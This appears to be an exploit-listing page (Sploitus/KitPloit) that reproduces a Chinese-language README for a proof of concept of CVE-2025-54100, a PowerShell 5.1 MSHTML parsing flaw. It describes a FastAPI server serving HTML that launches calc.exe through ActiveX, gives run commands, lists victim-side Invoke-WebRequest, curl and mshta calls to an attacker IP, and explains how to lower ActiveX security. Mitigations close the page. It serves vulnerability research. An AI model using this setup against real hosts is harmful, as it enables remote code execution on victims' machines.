## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XIAOLVCHEN-CVE-2025-54100
# CVE-2025-54100 – PowerShell 响应解析 PoC
演示 **CVE-2025-54100** 如何通过恶意 HTML 解析,在 **Windows PowerShell 5.1** 中导致 **远程代码执行(RCE)** 。
## 什么是 CVE-2025-54100?
**漏洞类型:** 当 `Invoke-WebRequest` **未使用** `-UseBasicParsing` 参数时存在命令注入风险
**严重等级:** CVSS 7.8(高危)
**根本原因:** 基于 MSHTML 的 HTML 响应解析允许脚本执行(如 `ActiveXObject`),并在调用者上下文中运行
**受影响系统:**
* Windows 10 / 11
* Windows Server 2008–2025
* PowerShell 5.1
## PoC 的工作原理
1. `CVE-2025-54100.py` 中的 FastAPI 服务器返回一个精心构造的 HTML 载荷
2. HTML 中的脚本尝试实例化 `WScript.Shell` / `Shell.Application` 等 ActiveX 对象
3. 在存在漏洞的主机上,MSHTML 解析器会执行该脚本,通过启动 `calc.exe` 来演示远程代码执行
4. 提供的载荷是**最小化且无破坏性** 的,仅用于研究和验证,但可以按需扩展用于进一步分析
## 快速开始
### 环境要求
* Python 3.10+(已在 FastAPI 与 Uvicorn 环境中测试)
* 安装依赖
root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
### 运行恶意服务器
启动 PoC HTTP 服务:
root@kitploit:~
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
## 从受害主机触发
在**存在漏洞的 Windows 主机** 上,**不要使用** `-UseBasicParsing`,执行以下命令:
root@kitploit:~
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl(PowerShell 中的别名)
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888
请确保端口与服务器配置一致。 如果系统存在漏洞,嵌入的脚本将通过 MSHTML 解析器执行。
> 注意:部分杀毒软件可能会拦截该行为,即使解析漏洞本身仍然存在。
## 排错与验证
1. 如果没有弹出 `calc.exe`:
1. 在受害机上打开 **Internet 选项**
2. 进入 **安全 → 自定义级别**
3. 启用 **“初始化并脚本化未标记为安全的 ActiveX 控件”**
4. 再次执行未使用 `-UseBasicParsing` 的 `Invoke-WebRequest`
> 该步骤用于验证执行向量。真实攻击场景中,攻击者可能会使用混淆或绕过技术规避默认安全限制。
## 验证证据

## 缓解措施
微软已于 **2025 年 12 月** 修复该漏洞:
1. 及时安装 Windows 安全更新
2. **始终使用`-UseBasicParsing`**,避免 MSHTML 解析:
root@kitploit:~
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
3. 迁移至 PowerShell 7+(pwsh),PowerShell Core 不再依赖 MSHTML 进行解析,从架构上规避了该问题。
## 参考资料
* NVD: CVE-2025-54100
* MSRC: Update Guide
* GitHub: osman1337-security/CVE-2025-54100